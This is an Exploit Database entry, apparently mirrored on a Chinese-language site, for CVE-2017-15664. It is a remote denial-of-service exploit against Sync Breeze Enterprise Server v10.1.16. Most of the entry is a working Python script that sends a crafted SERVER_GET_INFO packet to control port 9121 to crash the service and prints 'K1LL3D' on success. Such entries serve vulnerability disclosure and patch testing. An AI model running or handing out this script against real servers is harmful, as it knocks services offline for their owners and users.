Sync Breeze Enterprise 10.1.16 – Denial of Service

• Exploit Database
• 15 阅读

• 作者： Ahmad Mahfouz
  日期： 2018-01-08
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43453/

• # Exploit Title: Sync Breeze Enterprise Server v10.1.16 - Denial of Service
  # Date: 2017-10-20
  # Exploit Author: Ahmad Mahfouz
  # Software Link: http://www.syncbreeze.com/setups/syncbreezesrv_setup_v10.1.16.exe
  # Version: v10.1.16
  # Category; Windows Remote DOS
  # CVE: CVE-2017-15664
  # Author Twitter: @eln1x
  # Description: Sync Breeze Enterprise Server v10.1.16, the Control Protocol suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 9121.
  
   
  
  import socket
  target = "192.168.72.231"
  port = 9121
  s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  s.connect((target,port))
  
  packet = "\x75\x19\xba\xab\x03"
  packet +="\x00\x00\x00\x01\x00\x00\x00\x1a"
  packet += "\x00"
  packet += "\x3e" #evil
  packet += "\x00"
  packet += "\x20"
  packet += "\x00"
  packet += "\x00"
  packet += "\x00"
  packet += "\x00\x00\x00\x00"
  packet += "SERVER_GET_INFO"
  packet += "\x02\x32\x01"
  packet += "Data"
  packet += "\x01\x30\x01\x00"
  packet += "\x04\x02\x74"
  packet += "\x18\x18\x00"
  
  s.send(packet)
  
  try:
  
   data = s.recv(100)
  
   print data
  
  except:
  
   print "K1LL3D"